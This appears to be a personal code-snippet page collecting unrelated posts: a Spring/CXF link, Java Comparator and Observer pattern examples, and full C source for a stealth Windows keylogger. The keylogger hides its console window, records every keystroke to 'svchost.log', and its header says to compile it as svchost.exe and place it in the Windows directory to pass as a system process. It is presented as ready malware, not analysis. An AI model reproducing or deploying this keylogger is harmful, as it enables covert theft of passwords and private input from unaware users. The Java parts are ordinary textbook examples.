Spring web services using apache cxf

http://cxf.apache.org/docs/writing-a-service-with-spring.html
http://cxf.apache.org/docs/writing-a-service-with-spring.html

key logger code

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: SVCHOST.c *
* *
* Purpose: a stealth keylogger, writes to file "svchost.log" *
* *
* Usage: compile to svchost.exe, copy to c:\%windir%\ and run it. *
* *
* Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

#include
#include
#include
#include

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen("svchost.log","a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}

java comparater and comparable example

package test;/*
** Use the Collections.sort to sort a List
**
** When you need natural sort order you can implement
** the Comparable interface.
**
** If You want an alternate sort order or sorting on different properties
* then implement a Comparator for your class.
*/
import java.util.*;

@SuppressWarnings("unchecked")
public class Farmer implements Comparable
{
String name;
int age;
long income;

public Farmer(String name, int age)
{
this.name = name;
this.age = age;
}

public Farmer(String name, int age,long income)
{
this.name = name;
this.age = age;
this.income=income;
}
public String getName()
{
return name;
}

public int getAge()
{
return age;
}

public String toString()
{
return name + " : " + age;
}

/*
** Implement the natural order for this class
*/
public int compareTo(Object o)
{
return getName().compareTo(((Farmer)o).getName());
}

@SuppressWarnings("unchecked")
static class AgeComparator implements Comparator
{

/*
* (non-Javadoc)
* @see java.util.Comparator#compare(java.lang.Object, java.lang.Object)
*
*/
public int compare(Object o1, Object o2)
{
Farmer p1 = (Farmer)o1;
Farmer p2 = (Farmer)o2;
if(p1.getIncome()==0 && p2.getIncome()==0 )
return p1.getAge() - p2.getAge();
else
return (int)(p1.getIncome() -p2.getIncome());
}
}

@SuppressWarnings("unchecked")
public static void main(String[] args)
{
List farmer = new ArrayList();
farmer.add( new Farmer("Joe", 34) );
farmer.add( new Farmer("Ali", 13) );
farmer.add( new Farmer("Mark", 25) );
farmer.add( new Farmer("Dana", 66) );
/*
Collections.sort(farmer);
System.out.println("Sort in Natural order");
System.out.println("t" + farmer);

Collections.sort(farmer, Collections.reverseOrder());
System.out.println("Sort by reverse natural order");
System.out.println("t" + farmer);*/

List farmerIncome = new ArrayList();
farmerIncome.add( new Farmer("Joe", 34,33));
farmerIncome.add( new Farmer("Ali", 13,3));
farmerIncome.add( new Farmer("Mark", 25,666));
farmerIncome.add( new Farmer("Dana", 66,2));

Collections.sort(farmer, new AgeComparator());
System.out.println("Sort using Age Comparator");
System.out.println("t" + farmer);

Collections.sort(farmerIncome, new AgeComparator());
System.out.println("Sort using Age Comparator But Income Wise");
System.out.println("t" + farmerIncome);

}

public long getIncome() {
return income;
}

public void setIncome(long income) {
this.income = income;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
}

Observer design pattern example

Observale class
-----------------------------------------------

package com.anil.observable;

import java.util.Observable;

public class DataObject extends Observable {

private String txt;

public DataObject(String s) {
this.txt=s;
}

public String getTxt() {
return txt;
}

public void setTxt(String txt) {
this.txt = txt;
setChanged();
}

}
------------------------------------------------
Observer classes
------------------------------------------------
package com.anil.observer;

import java.util.Observable;
import java.util.Observer;

import com.anil.observable.DataObject;

public class FirstObserver implements Observer{

@Override
public void update(Observable o, Object arg) {

System.out.println("FirstObserver----"+((DataObject)o).getTxt());
}

}
-----------------------------------------------------------------------------------
package com.anil.observer;

import java.util.Observable;
import java.util.Observer;

import com.anil.observable.DataObject;

public class SecondObserver implements Observer {

@Override
public void update(Observable o, Object arg) {

System.out.println("SecondObserver----"+((DataObject)o).getTxt());

}

}
-----------------------------------------------------------------------------------
test classes
-----------------------------------------------------------------------------------
package com.anil.data;

import com.anil.observable.DataObject;
import com.anil.observer.FirstObserver;
import com.anil.observer.SecondObserver;

public class ObserverTest {

public static void main(String[] args) {

DataObject db = new DataObject("anil");
FirstObserver fo=new FirstObserver();
SecondObserver so=new SecondObserver();
db.addObserver(fo);
db.addObserver(so);
db.setTxt("Data Updated");
db.notifyObservers();

}